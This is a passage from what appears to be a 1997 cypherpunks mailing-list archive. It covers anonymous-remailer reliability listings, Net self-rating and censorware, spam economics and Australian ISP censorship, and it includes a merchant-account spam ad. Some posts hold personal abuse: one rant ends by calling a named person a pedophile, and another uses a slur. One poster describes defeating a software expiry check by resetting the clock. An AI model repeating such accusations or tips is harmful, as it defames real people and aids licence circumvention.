> > As long as they were representing their personal opinions and not acting as
> > a journalist (ie being paid by a 3rd party) and they disclose the action
> > there would be compromise on objectivity.
> 
> Jim, I hope you meant to say "wound not be compromising" in the above
> statement.

Actualy it was supposed to be a question mark at the end...

> This may sound like an afterthought, but one of the reasons that I did
> such a stupid thing as post my association with a police study group 
> here was as a part of being very open about what I was doing and
> trying to ask for advice on that basis. Also, FYI, I am not being paid
> by the government or any 3rd party. I am not a "consultant" to the
> government. I am an "outside expert". I am not representing the police
> to the people of Japan, I am trying represent the peoples' interest to
> the government... but I'll stop now before I get bashed again.

If all it takes to take over the citizens of Japan is to bash them a little
then you folks are Doomed. Perhaps you have spent one too many days
hammering nails that stick up...

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

From cag1465 at onestopshop.net  Mon Aug  4 21:06:21 1997
From: cag1465 at onestopshop.net (Smitty)
Date: Mon, 4 Aug 1997 21:06:21 -0700 (PDT)
Subject: Online Merchant Accounts...Accept Credit Cards!  Low Rates!
Message-ID: <199708050406.VAA28351@toad.com>

Hi there,

Credit Cards are the universal currency of the Internet, and, if you want to do business online, you need to be able to Accept Visa, Mastercard and American Express cards on your Web site.

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Go to: Accept Credit Cards Online

Apply now and start your cash flowing today!

If you wish to be removed from our mailing list, please click "PLEASE REMOVE" 
and type REMOVE in the subject field.

From raph at CS.Berkeley.EDU  Mon Aug  4 07:05:25 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 4 Aug 1997 22:05:25 +0800
Subject: List of reliable remailers
Message-ID: <199708041350.GAA06363@kiwi.cs.berkeley.edu>

   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{'cyber'} = ' alpha pgp';
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = ' newnym pgp';
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = " cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = ' newnym pgp';
$remailer{"bureau42"} = " cpunk mix pgp hash latent cut ek";
$remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = " mix";
$remailer{"medusa"} = " mix middle"
$remailer{"McCain"} = " mix middle";
$remailer{"valdeez"} = " cpunk pgp pgponly hash ek";
$remailer{"arrid"} = " cpunk pgp pgponly hash ek";
$remailer{"hera"} = " cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = " cpunk pgp hash latent cut post ek";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 4 Aug 97 6:47:45 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config at anon.efga.org             *##-+##**#**     4:41  99.98%
squirrel mix at squirrel.owl.de              -++-+------   2:40:53  99.96%
cracker  remailer at anon.efga.org           +++-++++++**    21:28  99.96%
weasel   config at weasel.owl.de             +++-+-+-+--   1:48:16  99.95%
cyber    alias at alias.cyberpass.net        **-++*****+*    11:47  99.88%
nym      config at nym.alias.net             *-+###*####+    20:38  99.88%
winsock  winsock at rigel.cyberpass.net      ------------  5:48:23  99.83%
mix      mixmaster at remail.obscura.com     -*-++***+*+*    46:32  99.80%
arrid    arrid at juno.com                   *++++-+- +    1:06:16  98.51%
replay   remailer at replay.com               *   ** ***-    15:25  97.91%
reno     middleman at cyberpass.net           +*+ +  +++-    55:18  93.85%
neva     remailer at neva.org                + +*--   ++*  2:52:22  92.55%
jam      remailer at cypherpunks.ca            +*--   +**  2:25:28  88.85%
hera     goddesshera at juno.com             --------  -   3:36:00  83.26%
valdeez  valdeez at juno.com                 ---           4:14:27  14.58%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.

   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.

   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.

   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.

   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.

   ksub
          Remailer always kills subject header, even in non-pgp mode.

   nsub
          Remailer always preserves subject header, even in pgp mode.

   latent
          Supports Matt Ghio's Latent-Time: option.

   cut
          Supports Matt Ghio's Cutmarks: option.

   post
          Post to Usenet using Post-To: or Anon-Post-To: header.

   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.

   special
          Accepts only pgp encrypted messages.

   mix
          Can accept messages in Mixmaster format.

   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.

   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.

Raph Levien

From enoch at zipcon.net  Mon Aug  4 09:33:44 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Tue, 5 Aug 1997 00:33:44 +0800
Subject: Third Eternity Server Operational
Message-ID: <19970804162356.8660.qmail@zipcon.net>

There is a third eternity server at

               http://moloko.insync.net/eternity

Enjoy!

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From declan at well.com  Mon Aug  4 10:38:06 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 5 Aug 1997 01:38:06 +0800
Subject: "The Big Sellout," on self-labeling, from Time
Message-ID: 

Netly is running Josh Quittner's column in this week's
Time Magazine as our story today. It's about the perils
of self-labeling systems for the Net, especially for
news organizations. Stop by and check it out.

Also, on p48-49 of this week's magazine is a look at
censorware programs and public libraries. It's called
"Censor's Sensibility: Are Web filters valuable
watchdogs or just new online thought police?" Bruce van
Voorst and I worked on the story from the Washington
bureau. (It's not on pathfinder.com yet, so you'll have
to pick up a physical copy.)

Also, stop by our Netpolitics chat area where we're
discussing self-labeling and censorware:

  http://cgi.pathfinder.com:80/cgi-bin/boards/read/206/9

-Declan

---

http://pathfinder.com/netly/opinion/0,1042,1247,00.html

The Netly News Network (http://netlynews.com/)
August 4, 1997

The Big Sellout
by Joshua Quittner (quittner at pathfinder.com)

     The greatest threat to free speech these days is
coming from the most unlikely quarter: journalists.
It's happening - where else? - on the Net. A
self-appointed council of "industry representatives,"
including people from the Wall Street Journal, the
Newspaper Association of America, CNET, Wired and - no
surprise! - Microsoft, is debating whether the online
world might be a safer, happier place if a
subcommittee of the council decides what's news and
what's not. Anything deemed "not news" would be forced
to submit to a rating system or risk being blocked by
software browsers. And being blocked on the Web could
mean extinction for small, independent-minded online
publishers - the very folks who have benefited most
from the Internet revolution. The whole thing reeks of
the powerful beating up on the weak.

     The roots of the betrayal go back to June 1996,
when the notion of rating Web content first took off.
That was when Microsoft forced its myriad web sites to
adopt a system that analyzes content according to the
degree to which it contains sex, nudity, violence or
obscene language. The official reason for this was to
make the Net a "safe place" without government
censorship - which made sense, I guess, given that the
Supreme Court had not yet ruled the Communications
Decency Act unconstitutional.

     It also made good business sense for Microsoft to
adopt an idea that adds value to one of its key
products, the Internet Explorer. Explorer is the
second-most popular browser on the Web; a software
component that gives parents the option to filter out
the naughty bits is a big selling point. But what's
good business for the software industry is nonsense
for journalism - as the folks who run Microsoft's news
web site quickly realized.

[...]

-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/

From dlv at bwalk.dm.com  Mon Aug  4 10:46:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 01:46:12 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311743.SAA02470@server.test.net>
Message-ID: <8w6wae1w165w@bwalk.dm.com>

I'm back from the weekend to a large quantity of unanswered e-mail
which I'll get to eventually. if you said something of interest in
the last week or so, I'll comment on it this week - I hope.

But first I'll rant and rave some more on the subject of payment for
physical transportation and the snail mail, with the payment for the
Internet in mind.

Adam Back  writes:

> 
> William Geiger MLCVXII  writes:
> > In <199707311120.MAA00669 at server.test.net>, on 07/31/97 
> > >  at 12:20 PM, Adam Back  said:
> > >
> > >One way to implement this is for other people to pay the author for their
> > >articles a penny if they like the article.  That way people who write
> > >things which others find interesting to read get subsidized posting.  Is
> > >it still free speech if you have to pay for your posts if you're arguing
> > >for an unpopular minority?
> > 
> > This will not work!!!
> > 
> > Charging for e-mail/news posts will do nothing to prevent spam and
> > more than likely increase the noise on such lists. It is the spamers
> > who have the money to post volumns of their crap.
> 

As I think I pointed out before, the "spammers" would be more willing to
spend money to post than the folks who just talk and answer questions.
I wouldn't answer questions on comp.unix.questions if I had to pay to
do that. Any scheme that requires the poster to pay will dampen signal
more than it will damped the noise and thus worsed the signal to noise ratio.

> For email spam I disagree.  I currently get 10 spams a day or so.  All
> as a result of one unprotected post to a USENET group a few weeks
> back.  Before that I hadn't posted to USENET for a while and the spams
> had nearly died down.
> 
> If the spammer had to pay 1c for each spam, he'd be out of business
> with his current scatter gun approach.  He'd have to get a lot more
> selective, because it would be in his commercial interests to do so.

I've been getting dramatically less junk e-mail sent to the addresses which
I placed on the various "removal" lists. (Maybe 1 or 2 / day, vs 10-20 on
the 'control" ones.)
> 
> > Also I think you will find that it will be the fanatics who
> > will think it worth the $$$ to get their message out.
> 
> Fine by me, so long as they're paying their way, the NoCems from a
> reliable rating service will take care of them.
> 
> You have more of a point in newsgroups, or mailing lists as the
> spammer only has to make one post.
> 
> Charging for posts in that scenario only makes sense to stop people
> who spew multiple mega-bytes of robo-spam just to be annoying, and for
> no commercial gain at all.
> 
> NoCems are the real answer to public forums.  Spammers will feel less
> incentive to spam when it becomes clear most people have them filtered
> out anyway.
> 
> > While I find the various mailling lists & newsgroups of intrest the
> > majority of them are not thet intresting that I would be willing to pay
> > $$$ every time I post a reply to someones questions (most of my posts
> > outside of CP are answering questions on programming,crypto, & OS/2). I
> > think that the overall quality of the newsgroups would decline if you
> > started paying on a per-post basis.
> 
> Surely you aren't that prolific a writer that 1c a post would
> be a burden on you?
> 
> I make what 20 posts a day at peak?  Often 1 or none some days.
> 
> > It should be noted that the Bandwith issue is a red-herring. It is an
> > antiquated concept from the Fidonet days and does not apply. The bandwith
> > of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
> > ISP customers pay for their connections to their ISP who in turn pay for
> > their connections to the Access providers who inturn pay for the Backbone.
> > The PIPE has been paid for what goes over it not an issue. If all I want
> > to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
> > ones busines but my own. If I chooses to use my bandwith to transmit a
> > variety of file formats using various protocols
> > (HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
> > good and some are not!! (this is not even getting into the content of the
> > data being shiped).
> 
> That's interesting, and probably true, but still bandwidth is limited,
> see.  It is entirely possible for some idiots to consume vastly more
> than their share of the shared pipe.
> 
> Probably what you're saying is that you like a lot of other "power
> users" myself included use more bandwidth than the average neophyte.
> So you're in favor of flat charges because it represents a good deal
> for you.
> 
> Get me on a T1 and I use it, man.  Hmm, I'll just upgrade to gcc 2.7.x
> (10 megs later) and then I'll upgrade the OS (another 50 megs later),
> and so the day gos on.  Bandwidth hog.
> 
> Sitting on the end of this pay per second 28.8k PPP line really cramps
> my style :-) I've started buying linux CD sets, and upgrading OS less
> frequently.  I'm still on X32a (for linux people) even though it's
> expired and tried to disable it's self, I've hacked around the
> disablement (set the clock back 2 months for a couple of seconds while
> it's starting, and then forward again part way through seems to fix
> it) because I don't fancy the cost of 10 megs at 28.8k, nor the
> hassle.
> 
> Now I would be pretty happy to spend $500 - $1500 a year for a 64k
> leased line, or at least for a flat rate phone bill.  But nooo you
> can't get that in the UK.  You're looking at more like $10k once
> you've factored in leased line + bandwidth leasing.

Bill G wrote that the payment for (non-toll) roads is flat. This
isn't quite true. You see, the more you use a road, the more gasoline
you use up. When you buy gasoline, a very substantial portion of its
price are the taxes imposed by varous gubmint entities. A "toll-free"
road still brings revenues when it's used - the more traffic, the more
gas is burned, the more gas is bought, the more tax is paid. The funds
raised from gasoline taxes are supposed to be earmarked for highway
repairs and new construction.  Thus, the gubmint taxes you for every
mile you drive. Owners with less "fuel-efficient" cars are taxed more
heavily. All miles are equal, whether you drive on an interstate or
around your own backyard.  Tolls come in when the gubmint wants to
make a certain mile "more equal" than the other miles. E.g. in New
York City it costs $7 to cross the Verazzano bridge from Brooklyn
to Staten Island, but if you live on Staten Island, you can get a
discount. (By the way, this toll is used to subsidize the subway, 
which doesn't even go to Staten Island.)

Of course the U.S. highway infrastructure isn't getting adequate
maintenance anyway and is failing at an increasing rate.

The New York City subways/buses are an example of a true flat rate. 
Last months the system changed so that if you use a little plastic
card to pay your fare instead of the traditional token, you can
change for free between buses and subways.  Thus, someone who lives
and works in Manhattan and takes a subway for 1 or 2 stops pays the
same $1.50 as someone who takes the subway from Manhattan to the
outskirts of Queens and then changes to a bus. The argument is that
once the infrastructure is in place, the incremental cost of carrying
one more passenger doesn't depend much on how far he's going. The
real reason is that the users who benefit from this fare structure
are much more likely to vote Republican than the users who
subsidize them. :-) And NYC subways are still in a much worse shape
than the public transportation in cities where the fare depends on
the length of the trip (like Washington, DC, or London) or is
artificially low and can't cover the costs (like Moscow).

I might as well remind those still reading this rant that the reason
why NYC subways fell into such disrepair was political. When 3 private
companies built competing underground railroad systems in NYC in late
19th/early 20th century, they each charged a flat 5c for a ride and
had sufficient revenue for maintenance, new construction, and dividends
to the investors. Unfortunately, USD like any other currency is
subject to inflation. When the 3 companies tried to raise their fares
to match their rising costs, the New York City and State politicians
didn't let them. To keep the subway fare at 5c was the standard
promise of every politician running for NYC mayor in the first half
of the century. The subway companies were forced to operate at a loss
and were happy to turn over their trains to the Metropolitan
Transportation Authority - a piece of gubmint controlled by New York
State. Now that the gubmint owns the subways, the fares have been
rising much faster than the inflation. (I remember when the subway
cost 50c on a weekday, 25c on a weekend.) However the years of
neglect (blamed on the lack of capital) have left the subways in
a much worse shape, and the repairs are likely to cost more than
regular maintenance would have. (Just like the U.S. highway
infrastructure.)

And the cost of collecting the fares is a substantial one. (This is
also the case with long distance telephone calls - I believe that
flat-rate service, not wasting any resources on keeping track how
long a particular user has used a circuit, will prevail eventually.)
E.g. the MTA just spent close to $1B on installing new turnstiles
with card readers. Most users of New York City subways already pay
a special city income tax (not that I like it). Wouldn't it be more
"efficient" to make the subways "free", and to collect the funds
for running the subways from the "general" city and state taxes?
(Using taxes is the socialist solution; letting a private company
charge a flat fee for unlimited usage, if it so chooses, is the
efficient free market solution.)

Now on the subject of snail mail: someone asked why USPS is in the
business of censoring content (e.g. pyramid schemes). USPS has been
in this business for a long time. It refuses to deliver "obscene"
content, and in the past refused to deliver "birth control"
information (to a consenting recipient) judging it to be obscene.
Not too long ago USPS used to raid "competing" services, such
as FedEx, examine the contents of the letters, judge that they
weren't sufficiently "urgent" and should have sent via 1st class
mail (USPS's gubmint-granted monopoly), and harrass the sender
and the recipient. Not too long ago USPS seriously proposed
charging 1st class postage any time a fax machine was used.

Is USPS's postage "flat"? Obviously, they charge per piece of mail.
However is costs the same 32c to smail a first-class envelope under
a certain weight from Queens to Brooklyn or to Hawaii. Obviously, it
takes much more effort to deliver such a letter to HI than to Brooklyn.
The European tradition was to charge according to the distance the
letter was supposed to travel. I recall reading that in late 19th
century USPS simply did not deliver to rural areas - the farmer was
supposed to travel to his nearest post office to collect the mail.
There was a political battle in U.S. Congress, with "free rural
delivery" being the slogan of the politicians representing the
states with a lot of farmers, while the ones from the more urban
states did not want their contituents to subsidize the obviously
expensive rural delivery. Eventually the farmers won, resulting
in the birth of "mail order" industry - companies mass-mailing
catalogs and delivering good by mail (such as Sears), who were
in fact subsidized by the city dwellers who had to pay the same
postage to deliver a package across town than Sears paid to
deliver its catalog across the Great Plains.

It costs USPS much more to deliver an envelope with a handwritten
address than one with an OCR-readable address. That's why the senders
of "junk mail" (pre-sorted, with OCR-ready labels) are said to
subsidize the senders who scribble something on an envelope - even
though the "bulk" postage is less than "first class". USPS has
been talking about various schemes so people who mail a single
envelope with an OCR-ready address would get a smaller postage
hike than the "scribblers".

I'm not sure what all this means in terms of flat vs. metered
Internet fees, so in closing I'll rant about the pyramid schemes,
"airplane games", "earn money stuffing envelopes" scams, et al.
No gubmint should be in the business of declaring them to be
"illegal" any more than they should be declaring pornography, 
bomb-making  recipes, religious propaganda, or crypto programs
to be "illegal". 

You may recall that the first wide-known pyramid scheme was run
buy a chap named Ponzi in Boston. He collected money from 
"investors", and said he expected to pay back a handsome return
based on some "postal orders" business. He did in fact pay the
promised returns to the early invesors using the funds collected
from the later investors, until the rate at which he had to
pay out the old investors exceeded the rate at which he was
getting new investors. Ponzi was arrested, convicted of "fraud"
(because he was claiming that the returns came from "postal
orders" when in fact they didn't), spend a brief time in jail,
then moved to Florida where he made lots of money on the real
easte boom.

A similar scheme in Russia by an organizaton called "MMM", run 
by the Mavrodi bothers, left a large number of "investors"
holding the bag. Interestingly, one of the Mavrodi brothers
is now in Russian jail (awaiting trial), and the other one is
still running a pyramid scheme: he accepts "voluntary donations"
from an investor, in return for a "voluntary donation" at a later
date whose amount and time are not guaranteed and depend on
the "donations" collected from others. The Russian government
does not shut down Mavrodi's latest operation so far, claiming
it's not "fraud" since he doesn't misrepresent the source of
his returns nor the risks involved. Reportedly so far he's
getting oodles of investors and pretty good returns. Eventually
of course his scheme will collapse, but the "investors" who
got in and out early enough will have made good money.

A similar scheme recently brought down the government of Albania.
Reportedly the investors who got in late in the game and didn't
get the returns they expected (or actually lost their investments)
demanded that the gubmint reimburse them for their losses (by
taxing the money from the more intelligent Albanians). When
the idiots want the gubmint to protect them from their own
idiocy, the gubmint happily uses this excuse to screw not only
those who would fleece the idiots, but everyone.

The obvious moral of this extra-long rant is that gubmint of any
kind is a root of all evil and Kent Crispin sounds like a pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From apache at bear.apana.org.au  Mon Aug  4 11:05:29 1997
From: apache at bear.apana.org.au (Apache)
Date: Tue, 5 Aug 1997 02:05:29 +0800
Subject: How age and PICS ratings may go down...
In-Reply-To: <199708040231.TAA09298@you.got.net>
Message-ID: <199708041744.DAA13373@bear.apana.org.au>

    Tim May said:

>One way "voluntary" age ratings--very similar to PICS ratings--may be
>mandated is through the kind of "plea agreement" cited below. (I don't
>know if this site is real or not, but the post presents a scenario which
>will become more common, I think.)

In more controlled countries such as Australia which has no
constitutional protections to slow down the removal of individual
freedoms and rights (I won't go into discussion here that we actually
do have such protections inhereted from ancient British law dating
from first settlement, and in any case such arguments are ignored by
the government goons) the scenario is already common and perhaps even
the norm.

>Someone writes something, or has a site, and is busted for some charge.
>(There are many, even with what remains of the First Amendment. Child
>porn, obscenity, the new copyright laws, the Anti-Terrorism Act, etc.) A
>nolo contendre or guilty plea to a lesser charge is entered, with the
>agreement that an age verification system will be used, or a PICS rating,
>etc. And so the government gets the kind of censorship it wants.

Here in Australia this bargaining process has been pre-empted by the
traitors in parliament and in the recent report which mandates
"voluntary" labeling they give you a possible out to charges of having
rude pics, unsuitable language or whatever is the flavour of the week,
passing through your server specified in their version of a voluntary
(mandatory) code. As Irene states in her excellent page on the subject
(http://www.thehub.com.au/~rene/liberty/label2.html):

"Draft legislative proposals have suggested content providers may have
a defense against provision of restricted material to minors by taking
reasonable steps to prevent availability of same. It has been
intimated that labeling may a defense of good intent and content
providers may label material in the hope of having a defense. In fact,
in terms of labeling, a clearer indication of good intent would be
not to label material, thus ensuring it was not made available to
those using properly configured filtering software." 

>(Duncan will likely argue that this is impossible to enforce. Maybe in the
>limit, in the sense that some will fall through the cracks. But the
>dangers to anyone hosting words or pictures on their sites is very real.
>As more and more ISPs drop controversial material--think of several recent
>cases, and perhaps even the case of our own John Young--and as more child
>porn/celebrity nude/obscenity cases are filed....by the time the Thomases
>are both out of prison, most sites will likely be heavily editing
>themselves, imposing age limits, and using PICS ratings.)

Many service providers, attempting to stay afloat here, already have
such editing/age and other limits. Here is an extract of the first ISP
contract I examined after reading your post (these conditions appear
to be fairly standard) - Note especially cl4.2 prohibiting access to
"offensive" material which is not defined and would on the face of it
encompass any material, not just rude pictures, that may be offensive
to..well to who knows..:

[See: http://www.bit.net.au and note the proudly displayed "We rated
with RSACi" logo on the lead page."

"4. Compliance with Laws and other Conditions of Use  

4.1 The Subscriber acknowledges that use of the Data, Databases,
System and Services may from time to time be subject to certain legal
regulations, conditions (including any license conditions) and
restrictions. The Subscriber shall ascertain and comply with such
regulations, conditions (including any license conditions) or
restrictions including but not limited to those laid down by the
Crimes Act 1914 (Cth) and the Copyright Act 1968 (Cth).   

4.2 Without limiting clause 4.1, the Subscriber and each User shall
not send, access or download any Data which is offensive, defamatory
or which to the Subscriber's or User's knowledge contains any computer
virus or has not been classified or approved in accordance with any
applicable censorship or other laws.   

4.3 Without limiting clause 4.1, the Subscriber and each User shall
not, without proper authorisation, use the System or Services to gain
access to information in a restricted access computer system or to use
a restricted access computer system, or use the System or Services to
contribute to or aid the commission of a crime or to infringe the
rights of a third party."

Furthermore a duty is placed on the _subscriber_ to notify the
provider of the existence of certain material, including the existence
of "offensive" material, computer virii etc. Failure to so notify the
provider may cause you problems if a later search of your hardware or
a search of the providers temp files reveals you accessed such
information. No consulting fees are provided for in the agreement for
the subscribers time and expense providing such valuable data:

"8.1 The Subscriber shall notify the Company immediately upon becoming
aware of: any infringement of any third party's intellectual property
rights as a result of information being made available on a Database
or by use of the System or Services, the existence of any data, code,
program or other material of the kind referred to in clause 4.2 or any
use of the System or Software (by the Subscriber or any other person)
which may infringe clause 4.3."

It would be an interesting exercise to take out an account and
actually "immediately notify the Company" of such material. In just a
few hours of work a flood of material could be presented meeting such
a lose definition. Indeed a scan of my netscape cache for the last
couple of weeks would probably be enough to get me a free trip
downtown to visit the local goons with expensive court proceedings
required to attempt to avoid criminal sanctions for rather innocuous
web browsing habits. For an example where there was no evidence at all
against the subscriber but the cops performed a dawn raid on an
unsuspecting student (who was 14 months later found completely
innocent) based on the word of the ISP who was actively browsing
temporary files on the ISP's computer see:
http://www.thehub.com.au/~rene/liberty/qcaseone.html. It appears now
the student, who suffered immense financial as well as emotional
strain was merely a 'test case' to see how the new (a mere few days
old) net censorship laws would work. No doubt his sacrifice was for
the greater good of us all and to protect the leetle chiiiildren.

What amazes me is the time and money the traitors are prepared to
invest in attempting to prosecute such harmless activity performed in
one's own home. The fact that they are willing to do this indicates
the level of threat we all face from this scum and the level of
response that will be called for to surgically remove this cancer from
our respective countries. The threat in this country is far greater
than many might suspect in other jurisdictions as we are not schooled
in the writings of revolutionaries and early American presidents and
have no national psychosis of revolt nor any constitutional
guarantees (I know even these in the US are being subverted or
attacked but without them it's pretty grim). As can be seen from the
contract already referred to corporations are only too willing to lick
the rim the feeds them as they see no financial gain in attempting to
go against the flow. Indeed such a corporation would, with monopoly
control of telecommunications in Australia, quickly find itself
bankrupt.

The only conclusion I can draw is that our government and their
bedmates are very worried that people, through the internet, have the
ability to say (for now but not for long) what they wish about that
government, about anything and get that message out to many people
almost instantaneously. This must be of great concern to control
freaks and those who steal money and other assets with force. It has
always been that way.

Howard Rheingold states in Democracy is About Communication:
(http://www.well.com/user/hlr/texts/democracy.html)

"The threat of uncontrollable communications among citizens, not the
pornographic pictures or taboo words that a tiny portion of the online
population publish, is why freedom of expression is under attack.
'Decency' is a smokescreen. It's about power." and "Communication is
Political": "Porno on the Net is a sideshow. The main event, taking
place far from the spotlight, is about who will control and profit
from the new industry that network communication technology makes
possible."

Clearly in Australia the bureaucrats at the ABA hope to be a key body
to write their own ticket in this, to them, brave new world. The utter
cluelessness of the government and the ABA can be seen in an earlier
report released in 1996 which is good reading for a laugh where the
ABA clearly has difficulty coming to terms with the difference between
BBS, which until recently was the bogey man the government focused
on, and the net. See: Report on the Investigation into the Content of
On-Line Services dated 30 June 1996 
(http://www.dca.gov.au/aba/olsrprt.htm).

On age limits:

"14.3 The Subscriber must be a legal person. Any minor seeking access
must do so as a User of a Subscriber's account.  Supervision of such a
User shall be the responsibility of a Parent or Guardian of the minor."

Of course if the parent in question was supervising the minor then the
proposed censorship laws about to go before parliament that will limit
the ability of Australian _adults_ to access information would not be
required (I liked a previous description of this concept in another
article which described it as an "infantocracy").

--
"You have the rights antecedent to all earthly governments; rights that
cannot be repealed or restrained by human laws; rights derived from the
Great Legislator of the Universe."
..John Adams, Second President of the United States.

From paul at fatmans.demon.co.uk  Mon Aug  4 11:13:30 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 5 Aug 1997 02:13:30 +0800
Subject: Humor: Extracts from the News of the Weird mail list
Message-ID: 

* In March, armed with evidence that a drug dealer had been killed
with a single gunshot during a robbery by two men, Torrance,
Calif., district attorney Todd D. Rubenstein obtained separate jury
convictions of both men for firing the fatal shot.  Both robbers' guns
had fired, but one missed, and a conclusion as to which one could
not be drawn from ballistics tests.  Rubenstein asserted confidently
to one jury that Stephen Edmond Davis, 19, shot the man, and just
as confidently to the other jury that it wasn't Davis, but rather John
Patrick Winkleman, 19.

* Former Prestonburg, Ky., school board member Wood R.
Keesee, 59, filed a lawsuit in May against a female court clerk to
whom he had allegedly loaned money in 1996.  Under the terms of
the $1,800 loan, according to Keesee, she was to have 18 sexual
encounters with him, but when she stopped after three, he filed the
lawsuit. 

From paul at fatmans.demon.co.uk  Mon Aug  4 11:15:21 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 5 Aug 1997 02:15:21 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

> > > Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > > posts into usenet you don't wish them to be removed from usenet?
> > 
> > That would be for Dimitri to decide for himself, and not for some 
> > cocksucker to take a unilateral decision on.
> 
> I have made no such unilateral decision,  I have simply asked a question
> of the good Doctor.

Quite so, maybe this was phrased in such a way as it looked insulting to 
you, it wasn`t intended to be so, merely a general swipe at cancel-forgers.

> > Of course disabling cancels on all news-servers would mean such a freak
> > article couldn`t be cancelled, even by it`s author, 
> 
> Wouldn't authentercated cancel models be better so an artical could be
> cancelled by its author and no other.

This would be a good idea, which I thought about when I posted the 
article, but it`s probably too much to expect all the news-admins of the 
major sites to keep up to date with their s/w and for the s/w authors to 
write in such functionality, just turning of cancels is easier. 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From stewarts at ix.netcom.com  Mon Aug  4 11:39:37 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Tue, 5 Aug 1997 02:39:37 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: 
Message-ID: <3.0.2.32.19970804093014.007720b4@popd.ix.netcom.com>

At 03:52 PM 8/3/97 +1000, Charles wrote:
>   ? the Platypus {aka David Formosa} said:
>>The best solution given so far is Cause's suggestion of modifying 
					[Cauce , by the way....]
>>the fax law so that we can sue the spammers.
>
>Thus giving gubmints the toe in the door they are so desperately looking 
>for to regulate/license/control the online world.
>
>The first thing you would see after passing such a law (if indeed the 
>original legislation itself didn't contain the provision) would be a 
>requirement for identification of all accounts and account holders. 
>Anonymous email and anonymous remailers would be the first victims.

Hear, hear!  The fax law says precisely that you can't send a fax
without correct identification of the sender, and an email equivalent
law would do the same.  (Anonymous remailers wouldn't necessarily be
banned, as long as they identified themselves correctly; if anything
this would probably encourage deployment of remailers, mainly by spammers,
which is a mixed blessing.)  Also, there are several Supreme Court cases,
such as McIntyre vs. Ohio, that strongly uphold the right to anonymous
publication; the fax law probably violates this, though I doubt it's been
taken to court.  The issue of the cost to the receipient of junk faxes
